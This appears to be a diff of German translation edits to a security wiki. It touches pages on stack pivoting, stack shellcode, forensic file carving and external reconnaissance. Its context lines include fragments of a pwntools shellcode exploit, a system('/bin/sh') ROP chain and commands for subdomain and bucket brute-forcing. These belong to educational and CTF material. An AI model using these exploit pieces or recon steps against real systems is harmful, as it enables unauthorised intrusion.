+- **`&(leave;ret)`** -> Aufgerufen, nachdem system endet, wird es den ESP zum falschen EBP bewegen und erneut starten
 - **`&("/bin/sh")`**-> Parameter für `system`
 
 Grundsätzlich ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
 
-Das ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/), aber komplexer ohne offensichtlichen Vorteil, könnte aber in einigen Randfällen interessant sein.
+Dies ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), aber komplexer ohne offensichtlichen Vorteil, könnte aber in einigen Randfällen interessant sein.
 
-Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), das diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
+Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
 ```python
 from pwn import *
 
@@ -94,7 +94,7 @@ print(p.recvline())
 ```
 ## EBP könnte nicht verwendet werden
 
-Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binary mit einigen Optimierungen kompiliert wird, hat **EBP niemals die Kontrolle über ESP**, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, weil er keinen echten Effekt hat.\
+Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binary mit einigen Optimierungen kompiliert wird, hat **EBP niemals Kontrolle über ESP**, daher wird jeder Exploit, der durch Kontrolle von EBP funktioniert, im Grunde scheitern, weil er keinen echten Effekt hat.\
 Das liegt daran, dass sich die **Prolog- und Epilog-Änderungen** ändern, wenn das Binary optimiert ist.
 
 - **Nicht optimiert:**
@@ -188,13 +188,13 @@ xchg <reg>, rsp
 - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 - 64 Bit, Off-by-One-Exploitation mit einer ROP-Kette, die mit einem Ret-Sled beginnt
 - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
-- 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([weitere Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
+- 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
 
 ## ARM64
 
 In ARM64 speichern und rufen die **Prologe und Epiloge** der Funktionen **das SP-Register nicht im Stack** ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht an die Adresse zurück, die von SP gezeigt wird, sondern **an die Adresse in `x30`**.
 
-Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
+Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, müssten Sie immer noch einen Weg finden, um **das `x30`**-Register zu kontrollieren.
 
 - Prolog
 
@@ -213,7 +213,7 @@ ret
 ```
 
 > [!CAUTION]
-> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse vom Stack bezieht und wir einen Overflow haben) und dann den **Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf.
+> Der Weg, um etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse vom Stack bezieht und wir einen Overflow haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **dann `RET`** darauf auszuführen.
 
 Auch auf der folgenden Seite können Sie das Äquivalent von **Ret2esp in ARM64** sehen:
 

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so modifiziert, dass er auf die Stelle dieses Shellcodes zeigt, was dessen Ausführung zur Folge hat. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
+**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so modifiziert, dass er auf die Stelle dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
 
 ### C-Beispiel: Ein verwundbares Programm
 
@@ -24,7 +24,7 @@ printf("Returned safely\n");
 return 0;
 }
 ```
-Dieses Programm ist anfällig für einen Pufferüberlauf aufgrund der Verwendung der `gets()`-Funktion.
+Dieses Programm ist anfällig für einen Buffer Overflow aufgrund der Verwendung der `gets()`-Funktion.
 
 ### Kompilierung
 
@@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Dieses Skript erstellt eine Payload, die aus einem **NOP-Slide**, dem **Shellcode** und dann einer Überschreibung des **EIP** mit der Adresse besteht, die auf das NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
+Dieses Skript erstellt eine Nutzlast, die aus einem **NOP-Slide**, dem **Shellcode** und dann dem Überschreiben des **EIP** mit der Adresse besteht, die auf das NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
 
 Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren Shellcode "gleitet", unabhängig von der genauen Adresse. Passen Sie das `p32()`-Argument an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
 
 ## Schutzmaßnahmen
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **sollte deaktiviert sein**, damit die Adresse über mehrere Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die Win-Funktion geladen ist.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert sein, oder die kompromittierte EIP-Rückgabadresse wird niemals gefolgt.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse bei mehreren Ausführungen zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die Gewinnfunktion geladen ist.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückgabeadresse niemals verfolgt wird.
 - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **Stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar ist.
 
 ## Weitere Beispiele & Referenzen

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -12,7 +12,7 @@ Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien a
 
 ### Binwalk <a href="#binwalk" id="binwalk"></a>
 
-**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode ist auf [GitHub](https://github.com/ReFirmLabs/binwalk).
 
 **Nützliche Befehle**:
 ```bash
@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ### Foremost
 
-Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
+Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -38,13 +38,13 @@ scalpel file.img -o output
 ```
 ### Bulk Extractor
 
-Dieses Tool ist in Kali enthalten, kann aber hier gefunden werden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
-Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur Folgendes tun:
+Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat (Passwörter?), **analysieren** Sie die **Pakete** (lesen Sie [**Pcaps-Analyse**](../pcap-inspection/)), suchen Sie nach **seltsamen Domains** (Domains, die mit **Malware** oder **nicht existierenden** in Verbindung stehen).
+Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat (Passwörter?), **analysieren** Sie die **Pakete** (lesen Sie [**Pcaps-Analyse**](../pcap-inspection/index.html)), suchen Sie nach **seltsamen Domains** (Domains, die mit **Malware** oder **nicht existierenden** in Verbindung stehen).
 
 ### PhotoRec
 
@@ -63,7 +63,7 @@ Es kommt mit GUI- und CLI-Versionen. Sie können die **Dateitypen** auswählen,
 - Visueller und aktiver **Struktur-Viewer**
 - Mehrere Plots für verschiedene Fokuspunkte
 - Fokussierung auf Teile einer Probe
-- **Anzeigen von Stings und Ressourcen**, in PE- oder ELF-Executables z. B.
+- **Anzeigen von Strings und Ressourcen**, in PE- oder ELF-Executables z. B.
 - Erhalten von **Mustern** für die Kryptoanalyse von Dateien
 - **Erkennen** von Packer- oder Encoder-Algorithmen
 - **Identifizieren** von Steganographie durch Muster

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md

@@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ## Foremost
 
-Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
+Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -33,13 +33,13 @@ scalpel file.img -o output
 ```
 ## Bulk Extractor
 
-Dieses Tool ist in Kali enthalten, kann aber hier gefunden werden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
-Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur Folgendes tun:
+Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur folgendes tun:
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat \(Passwörter?\), **analysieren** Sie die **Pakete** \(lesen[ **Pcaps-Analyse**](../pcap-inspection/)\), suchen Sie nach **seltsamen Domains** \(Domains, die mit **Malware** oder **nicht existierenden** in Verbindung stehen\).
+Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat \(Passwörter?\), **analysieren** Sie die **Pakete** \(lesen[ **Pcaps-Analyse**](../pcap-inspection/index.html)\), suchen Sie nach **seltsamen Domains** \(Domains, die mit **Malware** oder **nicht existierenden**\) in Verbindung stehen.
 
 ## PhotoRec
 

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ### Foremost
 
-Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
+Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -38,13 +38,13 @@ scalpel file.img -o output
 ```
 ### Bulk Extractor
 
-Dieses Tool ist in Kali enthalten, kann aber hier gefunden werden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
-Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur Folgendes tun:
+Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat (Passwörter?), **analysieren** Sie die **Pakete** (lesen Sie [**Pcaps-Analyse**](../pcap-inspection/)), suchen Sie nach **seltsamen Domains** (Domains, die mit **Malware** oder **nicht existierenden** in Verbindung stehen).
+Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat (Passwörter?), **analysieren** Sie die **Pakete** (lesen Sie [**Pcaps-Analyse**](../pcap-inspection/index.html)), suchen Sie nach **seltsamen Domains** (Domains, die mit **Malware** oder **nicht existierenden** in Verbindung stehen).
 
 ### PhotoRec
 
@@ -63,8 +63,8 @@ Es kommt mit GUI- und CLI-Versionen. Sie können die **Dateitypen** auswählen,
 - Visueller und aktiver **Struktur-Viewer**
 - Mehrere Plots für verschiedene Fokuspunkte
 - Fokussierung auf Teile einer Probe
-- **Anzeigen von Strings und Ressourcen** in PE- oder ELF-Executables z. B.
-- **Muster** für die Kryptoanalyse von Dateien erhalten
+- **Anzeigen von Strings und Ressourcen**, in PE- oder ELF-Executables z. B.
+- Erhalten von **Mustern** für die Kryptoanalyse von Dateien
 - **Erkennen** von Packer- oder Encoder-Algorithmen
 - **Identifizieren** von Steganographie durch Muster
 - **Visuelles** binäres Differenzieren
@@ -77,7 +77,7 @@ BinVis ist ein großartiger **Ausgangspunkt, um sich mit einem unbekannten Ziel*
 
 Sucht nach AES-Schlüsseln, indem es nach ihren Schlüsselschemata sucht. In der Lage, 128, 192 und 256 Bit Schlüssel zu finden, wie sie von TrueCrypt und BitLocker verwendet werden.
 
-Laden Sie [hier](https://sourceforge.net/projects/findaes/) herunter.
+Laden Sie [hier herunter](https://sourceforge.net/projects/findaes/).
 
 ## Ergänzende Werkzeuge
 

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -56,7 +56,7 @@ Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4in
 
 ### **Auf der Suche nach Schwachstellen**
 
-An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also, wenn Sie dazu berechtigt sind, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
+An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also könnten Sie, wenn Sie dazu berechtigt sind, einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
 Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\
 **Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
 
@@ -88,7 +88,7 @@ Sie können Online-Tools wie verwenden:
 - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
 - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos**
 - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos**
-- [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenlos API.
+- [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API.
 - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos
 - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
 - [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
@@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 
 Einfach gesagt, favihash ermöglicht es uns, Domains zu entdecken, die denselben Favicon-Icon-Hash wie unser Ziel haben.
 
-Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicons einer verwundbaren Version einer Webtechnologie** kennst, in Shodan suchen und **weitere verwundbare Orte finden** kannst:
+Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicon einer verwundbaren Version einer Webtechnologie** kennst, in Shodan suchen und **weitere verwundbare Orte finden** kannst:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
@@ -169,7 +169,7 @@ Es ist anscheinend üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-
 
 **Shodan**
 
-Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie mit diesen Daten in Shodan suchen: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
+Wie Sie bereits wissen, gehört der Name der Organisation, die den IP-Bereich besitzt. Sie können nach diesen Daten in Shodan suchen mit: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
 
 Sie könnten das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden.
 
@@ -302,7 +302,7 @@ shodan domain <domain>
 # Get other pages with links to subdomains
 shodan search "http.html:help.domain.com"
 ```
-- [**Censys Subdomain Finder**](https://github.com/christophetd/censys-subdomain-finder)
+- [**Censys Subdomain-Finder**](https://github.com/christophetd/censys-subdomain-finder)
 ```bash
 export CENSYS_API_ID=...
 export CENSYS_API_SECRET=...
@@ -317,7 +317,7 @@ python3 DomainTrail.py -d example.com
 
 Dieses Projekt bietet **kostenlos alle Subdomains, die mit Bug-Bounty-Programmen verbunden sind**. Sie können auf diese Daten auch mit [chaospy](https://github.com/dr-0x0x/chaospy) zugreifen oder sogar auf den Umfang zugreifen, der von diesem Projekt verwendet wird [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list).
 
-Sie finden hier einen **Vergleich** vieler dieser Tools: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off).
+Sie finden einen **Vergleich** vieler dieser Tools hier: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off).
 
 ### **DNS Brute Force**
 
@@ -370,7 +370,7 @@ cat subdomains.txt | dnsgen -
 ```bash
 goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 ```
-- [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenenfalls die Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene.
+- [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenen Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene.
 ```
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
@@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Daten, um genauere entsprechende Domainnamen zu synthetisieren und diese basierend auf während des DNS-Scans gesammelten Informationen weiter zu erweitern.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Es nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Aufzeichnungen, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
 ```
 echo www | subzuf facebook.com
 ```
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 
 ### **VHosts / Virtuelle Hosts**
 
-Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Webseiten in dieser IP** zu finden, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder indem Sie **VHost-Domainnamen in dieser IP brute-forcen**.
+Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Webseiten in dieser IP** zu finden, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder **VHost-Domainnamen in dieser IP brute-forcen**.
 
 #### OSINT
 
@@ -446,25 +446,25 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ```
 ### **Buckets Brute Force**
 
-Während Sie nach **Subdomains** suchen, achten Sie darauf, ob sie auf irgendeine Art von **Bucket** zeigen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Bucket-Namen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
+Während Sie nach **Subdomains** suchen, achten Sie darauf, ob sie auf irgendeine Art von **Bucket** zeigen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Geltungsbereich kennen, versuchen Sie, [**mögliche Bucket-Namen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Monitorisierung**
 
 Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem Sie die **Certificate Transparency** Logs überwachen, was [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut.
 
-### **Nach Schwachstellen suchen**
+### **Suche nach Schwachstellen**
 
 Überprüfen Sie auf mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Wenn die **Subdomain** auf einen **S3-Bucket** zeigt, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
+Wenn die **Subdomain** auf einen **S3-Bucket** zeigt, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
-&#xNAN;_&#x4E;ote, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Scope ist. Seien Sie vorsichtig._
+&#xNAN;_&#x4E;ote, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._
 
 ## IPs
 
 In den ersten Schritten haben Sie möglicherweise **einige IP-Bereiche, Domains und Subdomains** gefunden.\
-Es ist Zeit, **alle IPs aus diesen Bereichen** und für die **Domains/Subdomains (DNS-Abfragen)** zu **sammeln**.
+Es ist Zeit, **alle IPs aus diesen Bereichen zu sammeln** und für die **Domains/Subdomains (DNS-Abfragen).**
 
 Mit Diensten aus den folgenden **kostenlosen APIs** können Sie auch **frühere IPs finden, die von Domains und Subdomains verwendet wurden**. Diese IPs könnten immer noch dem Kunden gehören (und könnten Ihnen helfen, [**CloudFlare-Bypässe**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) zu finden).
 
@@ -472,22 +472,22 @@ Mit Diensten aus den folgenden **kostenlosen APIs** können Sie auch **frühere
 
